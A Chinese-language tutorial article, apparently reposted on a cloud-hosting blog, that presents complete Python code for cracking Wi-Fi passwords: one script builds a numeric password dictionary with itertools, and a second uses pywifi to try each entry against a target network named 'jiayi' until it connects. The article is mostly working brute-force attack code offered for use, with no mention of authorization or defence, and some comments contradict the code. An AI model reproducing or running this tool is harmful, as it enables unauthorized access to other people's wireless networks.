溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

使用Python破解wifi密碼的方法

發(fā)布時(shí)間:2020-08-07 09:38:53 來源:億速云 閱讀:480 作者:小新 欄目:編程語言

這篇文章將為大家詳細(xì)講解有關(guān)使用Python破解wifi密碼的方法,小編覺得挺實(shí)用的,因此分享給大家做個(gè)參考,希望大家閱讀完這篇文章后可以有所收獲。

首先要生成密碼本

對(duì)于這個(gè)密碼本就是我們常用的密碼,一般是有數(shù)字、字母和符號(hào)組成。而現(xiàn)在呢?我們就用Python生成一個(gè)簡單的密碼本,這里用到的思路主要是窮舉法。這里用到的庫是itertools,沒有的可以使用pip install itertools在DOS命令下安裝,這個(gè)密碼本生成很簡單,就是幾行代碼而已。接下來我們一起分析。同樣,我們先一步一步分析,后面會(huì)附上完整代碼。

這里使用一個(gè)迭代器,就是我們需要生成密碼所有的字符,可以是數(shù)字,符號(hào)和字母,我這里采用的是純數(shù)字,是為了方便和節(jié)約時(shí)間。

words="1234567890"

下面就是生成密碼的位數(shù),但是這里要注意的是這個(gè)要考慮到電腦的配置,我生成七位的密碼花了十多分鐘,生成的文件大小約有85M,所以大家根據(jù)情況生成。

r=its.product(words,repeat=4)

因此生成的密碼一般是字符串,而我之前生成的是單個(gè)的字符,所以我采用join,使用空格鏈接。

dic.write("".join(i))

好了,記下來就是完整的代碼:

import itertools as its
 #迭代器
words="1234567890"
#生成密碼本的位數(shù),五位數(shù),repeat=5
r=its.product(words,repeat=3)
#保存在文件中,追加
dic=open("./password.txt","a")
#i是元組
for i in r:
    #jion空格鏈接
    dic.write("".join(i))
    dic.write("".join("\n"))
    print(i)
dic.close()
print("密碼本已生成")

破解wifi密碼

這個(gè)代碼也是非常簡單,這里需要用Python中的pywifi這個(gè)庫,所以需要在DOS命令下安裝這個(gè)庫,同樣使用pip install pywifi,很簡單就安裝成功了,我用的是Python3,所以各位看的時(shí)候需要注意這一點(diǎn)。接下來我們一步一步分析主要代碼,后面同樣附上完整的代碼。對(duì)了,需要注意一點(diǎn),就是電腦必須是要用無線網(wǎng)卡的。

首先我們需要判斷電腦是否已經(jīng)連接wifi,創(chuàng)建一個(gè)無線對(duì)象,獲取無線網(wǎng)卡。

wifi=pywifi.PyWiFi()
#獲取無線網(wǎng)卡
ifaces=wifi.interfaces()[0]
print(ifaces)

使用這行代碼就可以獲取電腦無線網(wǎng)卡的名稱:

print(ifaces.name())

要判斷是否連接WiFi,我們需要導(dǎo)入一個(gè)常量庫:

from pywifi import const

創(chuàng)建WiFi連接文件,選擇要連接WiFi的名稱,然后檢查WiFi的開發(fā)狀態(tài),查看wifi的加密算法,一般wifi加密算法為WPA2 PSK,檢查加密單元。代碼如下:

profile=pywifi.Profile()
#要連接WiFi的名稱
profile.ssid="jiayi"
#網(wǎng)卡的開放狀態(tài)
profile.auth=const.AUTH_ALG_OPEN
#wifi加密算法,一般wifi加密算法為was
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密單元
profile.cipher=const.CIPHER_TYPE_CCMP

刪除所有連接過的wifi文件,重新設(shè)定新的連接文件,設(shè)置wifi連接時(shí)間,判斷wifi是否連接,若連接,返回4,未連接,返回0.

#刪除所有連接過的wifi文件
ifaces.remove_all_network_profiles()
#設(shè)定新的連接文件
tep_profile=ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
#wifi連接時(shí)間
time.sleep(3)
if ifaces.status()==const.IFACE_CONNECTED:
    return True
else:
    return False

接下來我們就需要一個(gè)密碼本,然后采用只讀的方式,一行一行讀取,這里的密碼本可以用我分享的這個(gè),也用去網(wǎng)上下載一個(gè)常用wifi密碼,只要是TXT文本就可以.

#密碼本路徑
path="C:/Users/ASUS/Desktop/password.txt"
#打開文件
file=open(path,"r")
while True:
    try:
        #一行一行讀取
        pad=file.readline()
 好了,接下來就是完整的代碼.
# coding:utf-8
import pywifi
from pywifi import const
import time
 
#測(cè)試連接,返回鏈接結(jié)果
def wifiConnect(pwd):
    #抓取網(wǎng)卡接口
    wifi=pywifi.PyWiFi()
    #獲取第一個(gè)無線網(wǎng)卡
    ifaces=wifi.interfaces()[0]
    #斷開所有連接
    ifaces.disconnect()
    time.sleep(1)
    wifistatus=ifaces.status()
    if wifistatus ==const.IFACE_DISCONNECTED:
        #創(chuàng)建WiFi連接文件
        profile=pywifi.Profile()
        #要連接WiFi的名稱
        profile.ssid="jiayi"
        #網(wǎng)卡的開放狀態(tài)
        profile.auth=const.AUTH_ALG_OPEN
        #wifi加密算法,一般wifi加密算法為wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #加密單元
        profile.cipher=const.CIPHER_TYPE_CCMP
        #調(diào)用密碼
        profile.key=pwd
        #刪除所有連接過的wifi文件
        ifaces.remove_all_network_profiles()
        #設(shè)定新的連接文件
        tep_profile=ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        #wifi連接時(shí)間
        time.sleep(3)
        if ifaces.status()==const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi連接") 
 
#讀取密碼本
def readPassword():
    print("開始破解:")
    #密碼本路徑
    path="./password.txt"
    #打開文件
    file=open(path,"r")
    while True:
        try:
            #一行一行讀取
            pad=file.readline()
            bool=wifiConnect(pad)
            
            if bool:
                print("密碼已破解: ",pad)
                print("WiFi已自動(dòng)連接?。?!")
                break
            else:
                #跳出當(dāng)前循環(huán),進(jìn)行下一次循環(huán)
                print("密碼破解中....密碼校對(duì): ",pad)
        except:
            continue
readPassword()

關(guān)于使用Python破解wifi密碼的方法就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺得文章不錯(cuò),可以把它分享出去讓更多的人看到。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請(qǐng)聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI